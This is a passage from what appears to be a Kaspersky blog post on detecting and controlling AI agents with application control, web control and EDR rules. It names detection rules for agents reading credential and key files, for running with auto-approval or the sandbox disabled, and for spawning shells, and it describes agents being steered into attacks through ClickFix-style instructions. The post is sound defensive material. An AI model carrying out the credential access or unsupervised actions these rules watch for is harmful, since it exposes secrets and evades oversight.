srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18.png 1093w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18-300x294.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18-1024x1002.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18-768x752.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18-358x350.png 358w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18-740x724.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18-286x280.png 286w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18-800x783.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212454/how-to-secure-ai-agentsEN18-50x50.png 50w" width="1093" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121463-2">Detection section in the Claude profile</p></div> <h3 id="hunt-hub">Hunt Hub</h3> <p>In December 2025, the Kaspersky Threat Intelligence Portal added Hunt Hub (HH), a repository of detection rules. This is a unique Kaspersky project, and we developed it in response to growing market demand.</p> <p>This functionality is available in the Threat Landscape section of the portal. It gives analysts access to detection rules: their descriptions and their mapping to MITRE ATT&amp;CK tactics and techniques, as well as to the associated cybercriminal groups.</p> <p>In the Hunt Hub section, customers can explore the detection logic of EDR, NDR, and NGFW products, including the logic for detecting AI agents.</p> <div class="wp-caption aligncenter" id="attachment_121464-2" style="width: 1694px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19.png"><img alt="Rules in the Hunt Hub repository" aria-describedby="caption-attachment-121464-2" class="size-full wp-image-121464" decoding="async" height="822" sizes="auto, (max-width: 1684px) 100vw, 1684px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19.png 1684w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19-300x146.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19-1024x500.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19-768x375.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19-1536x750.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19-717x350.png 717w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19-740x361.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19-574x280.png 574w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212537/how-to-secure-ai-agentsEN19-800x390.png 800w" width="1684" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121464-2">Rules in the Hunt Hub repository</p></div> <p>The rule card provides:</p> <ul> <li>Detailed description</li> <li>Rule’s severity level, confidence level, and alert format</li> <li>Detection tips</li> <li>Description of possible false positives</li> <li>Platforms the rule can run on</li> <li>Tactics, techniques, and sub-techniques covered by the rule</li> <li>Groups that use the technique covered by the rule</li> <li>Detection logic that shows what exactly triggers the rule</li> </ul> </div></div></div></div></div></div> <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/12084535/safe-use-of-ai-agents-featured-image-scaled-1-1200x600.jpg" data-srcset="" decoding="async" height="600" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/12084535/safe-use-of-ai-agents-featured-image-scaled-1-1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="js-reading-content"> <div class="c-wysiwyg"> <h2 id="introduction">Introduction</h2> <p>AI agents and associated tooling are becoming increasingly common in corporate infrastructure. Agents can perform a range of actions with the user’s privileges, such as accessing data, running commands, and interacting with external services. This creates new security risks, especially when these tools are used without the security team’s oversight or well-designed policies.</p> <p>Detecting, tracking, and controlling AI agents is becoming one of the most pressing tasks for security teams today. We closely follow technological developments and continuously update our solutions to respond to new threats in a timely manner amid a rapidly changing technology landscape. This post describes new expertise built into Kaspersky products that helps counter the threats posed by the proliferation of AI agents. We approach this problem from several angles.</p> <p>First, you need to thoroughly understand the threat you are dealing with. To this end, we added profiles to the <a href="https://www.kaspersky.com/enterprise-security/threat-intelligence-portal?icid=gl_sl_post-ti_sm-team_9e01cef3d70c6a19" rel="noopener" target="_blank">Kaspersky Threat Intelligence Portal</a> that describe various AI agents and how attackers exploit them. At their core, AI agents are programs (processes) that run in the operating system on endpoints and can also launch other processes. This means that <a href="https://www.kaspersky.com/enterprise-security/endpoint-detection-response-edr?icid=gl_sl_post-kedr-expert_sm-team_29dc1130f3f612f2" rel="noopener" target="_blank">Endpoint Detection and Response</a> solutions are among the key endpoint controls for this threat. These solutions detect the presence and launch of AI agents, track their activity, and identify potentially dangerous behavior. When needed, they also take action, such as stopping a suspicious process, blocking the activity, or isolating the host, to reduce the likelihood of an incident escalating. For this purpose, we developed specially adapted detection rules.</p> <p>You can use Kaspersky Endpoint Security, now also available as <a href="https://www.kaspersky.com/next?icid=gl_sl_knext-post_sm-team_cede4e5dff54f34a" rel="noopener" target="_blank">Kaspersky Next</a>, to control and restrict the launch of AI agents. This solution uses two components to detect AI agents and control how they are used. Application Control categorizes the application processes launched on endpoints, and Web Control manages access to specific categories of web resources for users on endpoints.</p> <p>Finally, even harmless AI agents can contain malicious instructions (skills), such as those downloaded from unsafe external sources. <a href="https://www.kaspersky.com/scan-engine?icid=gl_sl_scan-engine-lnk_sm-team_65e719cc6abfcea0" target="_blank">Kaspersky Scan Engine</a> analyzes installed applications to detect these threats and also checks LLM files for malicious code. Let’s take a closer look at these solutions and technologies.</p> <h2 id="popular-ai-applications-and-services-in-organizations">Popular AI applications and services in organizations</h2> <p>Tools from Anthropic and OpenAI take the top spots in the September 2026 ranking of AI agents by popularity among Kaspersky users. This list is based on telemetry from Kaspersky solutions. It shows the number of users who had the relevant AI vendors’ products installed at the time of the study.</p> <table> <tbody> <tr> <td><strong>#</strong></td> <td><strong>AI product</strong></td> </tr> <tr> <td>1</td> <td>Claude</td> </tr> <tr> <td>2</td> <td>Claude Code</td> </tr> <tr> <td>3</td> <td>Codex</td> </tr> <tr> <td>4</td> <td>OpenCode</td> </tr> <tr> <td>5</td> <td>Zed</td> </tr> <tr> <td>6</td> <td>Wispr Flow</td> </tr> <tr> <td>7</td> <td>LM Studio</td> </tr> <tr> <td>8</td> <td>ZCode</td> </tr> <tr> <td>9</td> <td>Chatbox</td> </tr> <tr> <td>10</td> <td>Cherry Studio</td> </tr> </tbody> </table> <p>The data shows that agentic systems, especially AI agents for software development, are the most popular AI applications. The TOP 10 also includes an application for running large language models locally (LM Studio) and a voice note-taking app (Wispr Flow).</p> <p>According to open sources, these are the most widely used AI services in 2026:</p> <table> <tbody> <tr> <td><strong>#</strong></td> <td><strong>AI service</strong></td> </tr> <tr> <td>1</td> <td>ChatGPT</td> </tr> <tr> <td>2</td> <td>Google Gemini</td> </tr> <tr> <td>3</td> <td>Claude</td> </tr> <tr> <td>4</td> <td>Grammarly</td> </tr> <tr> <td>5</td> <td>DeepSeek</td> </tr> </tbody> </table> <p>While analyzing the most popular and widely used apps, our experts also noticed a <a href="https://securelist.com/vulnerabilities-and-exploits-in-q2-2026/121091/#llm-ai-tool-vulnerabilities" rel="noopener" target="_blank">sharp rise in vulnerable versions of AI-related software and services</a>. From 2025 to date, more than 2500 vulnerabilities have been published:</p> <p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211331/how-to-secure-ai-agentsEN1.png" rel="noopener" target="_blank">download</a>)</em></p> <p><em>* Data for previous quarters was updated and may differ slightly from previously published data.</em></p> <h2 id="application-control-and-web-control">Application Control and Web Control</h2> <p>To enforce the organization’s security policy for AI agents and other AI applications on the corporate network, Kaspersky products offer application control based on <a href="https://support.kaspersky.com/ksc/15.1/92438?page=help" rel="noopener" target="_blank">KL categories</a>. These categories classify installed software and give you granular control over which approved applications can run in the organization.</p> <p>Application Control analyzes the processes launched on endpoints, tracking which AI agents are running in corporate systems at any given moment, on which hosts, and under which accounts. Application Control also shows how long a given program has been in use.</p> <p>This makes it easier for the Kaspersky Security Center (KSC) administrator to control applications. Administrators can use KL categories to allow or block AI agents inside the company for specific groups of employees.</p> <p>Here is what this functionality looks like to KSC administrators:</p> <div class="wp-caption aligncenter" id="attachment_121446-2" style="width: 985px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211433/how-to-secure-ai-agentsEN2.png"><img alt="KL categories available when configuring Application Control" aria-describedby="caption-attachment-121446-2" class="size-full wp-image-121446" decoding="async" height="704" sizes="auto, (max-width: 975px) 100vw, 975px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211433/how-to-secure-ai-agentsEN2.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211433/how-to-secure-ai-agentsEN2.png 975w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211433/how-to-secure-ai-agentsEN2-300x217.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211433/how-to-secure-ai-agentsEN2-768x555.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211433/how-to-secure-ai-agentsEN2-485x350.png 485w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211433/how-to-secure-ai-agentsEN2-740x534.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211433/how-to-secure-ai-agentsEN2-388x280.png 388w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211433/how-to-secure-ai-agentsEN2-800x578.png 800w" width="975" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121446-2">KL categories available when configuring Application Control</p></div> <p>For details on how to configure Application Control in KSC, follow <a href="https://support.kaspersky.com/ksc/15.1/183681" rel="noopener" target="_blank">this link</a>.</p> <p>In Kaspersky Endpoint Security (KES), Application Control can operate in two modes:</p> <ul> <li><strong>Denylist</strong>. In this mode, Application Control lets users run any applications except those blocked by Application Control rules. This is the default mode.</li> <li><strong>Allowlist. </strong>In this mode, Application Control blocks users from running any applications except those explicitly allowed by Application Control rules.</li> </ul> <p>Below are the steps to configure Application Control to block AI tools.</p> <div class="post-gallery-wrapper _post _post-2382" data-id="2382"><div class="post-gallery _link_file"><div class="post-gallery__item"><img alt="" class="attachment-large size-large" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211547/how-to-secure-ai-agentsEN3.png" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211547/how-to-secure-ai-agentsEN3.png 970w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211547/how-to-secure-ai-agentsEN3-300x212.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211547/how-to-secure-ai-agentsEN3-768x544.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211547/how-to-secure-ai-agentsEN3-494x350.png 494w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211547/how-to-secure-ai-agentsEN3-740x524.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211547/how-to-secure-ai-agentsEN3-395x280.png 395w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211547/how-to-secure-ai-agentsEN3-800x567.png 800w" decoding="async" height="687" sizes="auto, (max-width: 970px) 100vw, 970px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211547/how-to-secure-ai-agentsEN3.png" srcset="" width="970" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></div><div class="post-gallery__item"><img alt="" class="attachment-large size-large" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211607/how-to-secure-ai-agentsEN4.png" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211607/how-to-secure-ai-agentsEN4.png 974w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211607/how-to-secure-ai-agentsEN4-300x212.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211607/how-to-secure-ai-agentsEN4-768x542.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211607/how-to-secure-ai-agentsEN4-495x350.png 495w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211607/how-to-secure-ai-agentsEN4-740x523.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211607/how-to-secure-ai-agentsEN4-396x280.png 396w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211607/how-to-secure-ai-agentsEN4-800x565.png 800w" decoding="async" height="688" sizes="auto, (max-width: 974px) 100vw, 974px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211607/how-to-secure-ai-agentsEN4.png" srcset="" width="974" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></div><div class="post-gallery__item"><img alt="" class="attachment-large size-large" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211632/how-to-secure-ai-agentsEN5.png" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211632/how-to-secure-ai-agentsEN5.png 968w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211632/how-to-secure-ai-agentsEN5-300x210.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211632/how-to-secure-ai-agentsEN5-768x538.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211632/how-to-secure-ai-agentsEN5-500x350.png 500w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211632/how-to-secure-ai-agentsEN5-740x518.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211632/how-to-secure-ai-agentsEN5-400x280.png 400w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211632/how-to-secure-ai-agentsEN5-800x560.png 800w" decoding="async" height="678" sizes="auto, (max-width: 968px) 100vw, 968px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211632/how-to-secure-ai-agentsEN5.png" srcset="" width="968" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></div><div class="post-gallery__item"><img alt="Configuring Application Control for the AI Tools category in KES" class="attachment-large size-large" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211652/how-to-secure-ai-agentsEN6.png" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211652/how-to-secure-ai-agentsEN6.png 970w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211652/how-to-secure-ai-agentsEN6-300x210.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211652/how-to-secure-ai-agentsEN6-768x537.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211652/how-to-secure-ai-agentsEN6-501x350.png 501w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211652/how-to-secure-ai-agentsEN6-740x517.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211652/how-to-secure-ai-agentsEN6-401x280.png 401w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211652/how-to-secure-ai-agentsEN6-800x559.png 800w" decoding="async" height="678" sizes="auto, (max-width: 970px) 100vw, 970px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211652/how-to-secure-ai-agentsEN6.png" srcset="" width="970" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></div></div></div> <p style="text-align: center;font-style: italic;font-weight: normal;margin-top: -10px"><em>Configuring Application Control for the AI Tools category in KES</em></p> <p>With this setup, when a user tries to launch an AI agent, they get a notification and the agent doesn’t start.</p> <div class="wp-caption aligncenter" id="attachment_121451-2" style="width: 406px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211730/how-to-secure-ai-agentsEN7.png"><img alt="KES notification about an attempt to launch an AI agent" aria-describedby="caption-attachment-121451-2" class="size-full wp-image-121451" decoding="async" height="321" sizes="auto, (max-width: 396px) 100vw, 396px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211730/how-to-secure-ai-agentsEN7.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211730/how-to-secure-ai-agentsEN7.png 396w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211730/how-to-secure-ai-agentsEN7-300x243.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211730/how-to-secure-ai-agentsEN7-345x280.png 345w" width="396" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121451-2">KES notification about an attempt to launch an AI agent</p></div> <p>For more on how to configure Application Control in KES, follow <a href="https://support.kaspersky.com/kes-for-windows/14.1/176742?page=help" rel="noopener" target="_blank">this link</a>. Our public portal also lets you explore information on KL categories and the applications that fall under them, in particular <a href="https://support.kaspersky.com/help/KLCategories/1.0/en-US/033003.htm" rel="noopener" target="_blank">details on how AI agents are categorized and how popular they are</a>.</p> <div class="wp-caption aligncenter" id="attachment_121452-2" style="width: 1569px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8.png"><img alt="AI Tools KL category" aria-describedby="caption-attachment-121452-2" class="size-full wp-image-121452" decoding="async" height="1461" sizes="auto, (max-width: 1559px) 100vw, 1559px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8.png 1559w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8-300x281.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8-1024x960.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8-768x720.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8-1536x1439.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8-373x350.png 373w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8-740x693.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8-299x280.png 299w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211800/how-to-secure-ai-agentsEN8-800x750.png 800w" width="1559" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121452-2">AI Tools KL category</p></div> <p>The <em>View applications</em> drop-down list shows products for a specific vendor.</p> <p>Similarly, Web Control lets you manage user access to web resources. If a user tries to open a denylisted website, KES blocks access and shows a warning.</p> <div class="wp-caption aligncenter" id="attachment_121453-2" style="width: 850px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211846/how-to-secure-ai-agentsEN9.png"><img alt="KES notification about an attempt to access a prohibited web resource" aria-describedby="caption-attachment-121453-2" class="size-full wp-image-121453" decoding="async" height="446" sizes="auto, (max-width: 840px) 100vw, 840px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211846/how-to-secure-ai-agentsEN9.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211846/how-to-secure-ai-agentsEN9.png 840w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211846/how-to-secure-ai-agentsEN9-300x159.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211846/how-to-secure-ai-agentsEN9-768x408.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211846/how-to-secure-ai-agentsEN9-659x350.png 659w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211846/how-to-secure-ai-agentsEN9-740x393.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211846/how-to-secure-ai-agentsEN9-527x280.png 527w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211846/how-to-secure-ai-agentsEN9-800x425.png 800w" width="840" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121453-2">KES notification about an attempt to access a prohibited web resource</p></div> <p>When configuring access, the administrator can block websites that provide AI as a service.</p> <div class="wp-caption aligncenter" id="attachment_121454-2" style="width: 394px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211915/how-to-secure-ai-agentsEN10.png"><img alt="Website categories" aria-describedby="caption-attachment-121454-2" class="size-full wp-image-121454" decoding="async" height="603" sizes="auto, (max-width: 384px) 100vw, 384px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211915/how-to-secure-ai-agentsEN10.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211915/how-to-secure-ai-agentsEN10.png 384w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211915/how-to-secure-ai-agentsEN10-191x300.png 191w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211915/how-to-secure-ai-agentsEN10-223x350.png 223w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07211915/how-to-secure-ai-agentsEN10-178x280.png 178w" width="384" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121454-2">Website categories</p></div> <p>For more on configuring Web Control, follow this <a href="https://support.kaspersky.com/kes-for-windows/14.1/128048?page=help" rel="noopener" target="_blank">link</a>. The help portal also provides <a href="https://support.kaspersky.com/Legal/WebCategories/en-US/206917.htm" rel="noopener" target="_blank">information on website categories</a> that can be assigned to resources to configure access control.</p> <h2 id="kaspersky-endpoint-detection-and-response">Kaspersky Endpoint Detection and Response</h2> <p>To an EDR solution, an AI agent is a regular process. It has its own executable, a tree of child processes, and network communications, all of which need to be monitored for suspicious activity. An attacker can use an AI agent as an automation tool. An AI agent installed as a legitimate user tool can also be leveraged in a ClickFix attack, where it executes a malicious instruction received from an untrusted source, such as a document, web page, or email. That said, unsafe actions by an agent do not always indicate an attack. There may be no malicious intent in the chain at all. An incident can result from what looks like an ordinary instruction from a user who doesn’t fully understand the consequences of having it executed. The mere fact that an agent was launched does not reveal whether it is being used in an attack. That is why Kaspersky EDR (KEDR) uses both conventional behavioral rules and rules written and adapted to detect AI tools. The latter identify risky agent actions and settings, and help determine which AI tool was involved in suspicious activity.</p> <p>Conventional KEDR rules detect the vast majority of familiar malicious techniques, including when performed by an AI agent. A suspicious PowerShell launch, persistence via Task Scheduler, or an attempt to steal credentials leaves clear, identifiable traces. These traces look the same no matter what initiated the actions. The rules analyze launch parameters, process relationships, affected files, network activity, and other telemetry events.</p> <p>For example, in a <a href="https://securelist.com/tr/armored-likho-apt-with-busysnake-stealer/120292/" rel="noopener" target="_blank">recent Armored Likho campaign</a>, we found signs that AI had been used to create loader and dropper samples, which were later compiled with NSIS (Nullsoft Scriptable Install System). The key telltale artifacts were icons in the scripts and excessive comments on every function, which is uncharacteristic of human-written code. In addition, the group continues to generate new modules for its BusySnake Stealer and BusySnake RAT samples. For example, the attackers used AI to develop a module that runs multiple checks for virtual environment artifacts and calculates a score. Depending on the score, the sample either runs or exits with code 0. Even though the initial access samples, payloads, and their modules were AI-generated, the commands they execute via rundll32 and PowerShell are detected by the <a href="https://tip.kaspersky.com/landscape/hunts/edr/0aa195bc-98d6-edf4-c78a-d6e1f6dda337?icid=gl_sl_tip-rule-lnk_sm-team_6104f62e3f7bce03" rel="noopener" target="_blank">shell_creation_by_rundll32</a> and <a href="https://tip.kaspersky.com/landscape/hunts/edr/0971a329-51da-0fc4-67d1-3e0cc0f3725f?icid=gl_sl_tip-rule-lnk_sm-team_778fdda98b1b8496" rel="noopener" target="_blank">suspicious_powershell_cmd_or_script_spawning</a> rules.</p> <p>So, for detecting an attack like this, it is not important who wrote the loader, the payload, or its modules: they are given away by the commands they execute, process relationships, and other traces of activity in the system. AI can be involved both in preparing the code and in carrying out the attack directly on the device.</p> <p>In the latter case, the attacker uses the agent to carry out their tasks and lets it choose and run the required commands within the privileges it has. For effective protection, it is critical to link suspicious actions back to the AI tool and the conditions under which it operates. In KEDR, several specialized rules handle this task.</p> <p>We have created separate rules for popular AI agents, <a href="https://tip.kaspersky.com/landscape/hunts?search=ai_agent_" rel="noopener" target="_blank">ai_agent_*_access_to_sensitive_file_**</a>, where * is the tool name and ** is the operating system. They generate alerts when an agent accesses files that contain credentials, tokens, or keys.</p> <div class="klp"> <div class="klp__head"> <a href="https://tip.kaspersky.com/landscape/hunts/edr/b99cb392-16b2-2674-47a9-d8299e841324?icid=gl_sl_tip-rule-lnk_sm-team_5f3d3935dae2ab11" rel="noopener noreferrer" target="_blank">ai_agent_opencode_access_to_sensitive_file_win</a> <button class="klp__head_btn"><span class="btn_text btn_text_open">Tap to preview</span><span class="btn_text btn_text_close">Tap to hide</span></button> </div> <div class="klp__content"> <div class="klp__image"> <a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212040/how-to-secure-ai-agentsEN11.png"> <img alt="" decoding="async" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212040/how-to-secure-ai-agentsEN11.png" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </a> </div> </div> </div> <p>The <a href="https://tip.kaspersky.com/landscape/hunts/edr/f73d852c-ffe9-cbc4-685b-193d68724417?icid=gl_sl_tip-rule-lnk_sm-team_d6bd9cb348741ce4" rel="noopener" target="_blank">ai_agent_dangerous_execution_mode</a> rule detects agents launched with auto-approval of all actions (so-called YOLO mode) or with the sandbox disabled. These settings do not indicate an attack on their own, but they let the agent perform dangerous actions without user confirmation.</p> <div class="klp"> <div class="klp__head"> <a href="https://tip.kaspersky.com/landscape/hunts/edr/f73d852c-ffe9-cbc4-685b-193d68724417?icid=gl_sl_tip-rule-lnk_sm-team_d6bd9cb348741ce4" rel="noopener noreferrer" target="_blank">ai_agent_dangerous_execution_mode</a> <button class="klp__head_btn"><span class="btn_text btn_text_open">Tap to preview</span><span class="btn_text btn_text_close">Tap to hide</span></button> </div> <div class="klp__content"> <div class="klp__image"> <a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212112/how-to-secure-ai-agentsEN12.png"> <img alt="" decoding="async" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/07212112/how-to-secure-ai-agentsEN12.png" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </a> </div> </div> </div> <p>The <a href="https://tip.kaspersky.com/landscape/hunts/edr/306c1372-6669-6bc4-f5a8-c7568c4f455e?icid=gl_sl_tip-rule-lnk_sm-team_2c029a4689d5eccb" rel="noopener" target="_blank">suspicious_mcp_server_artifact</a> rule triggers when MCP server 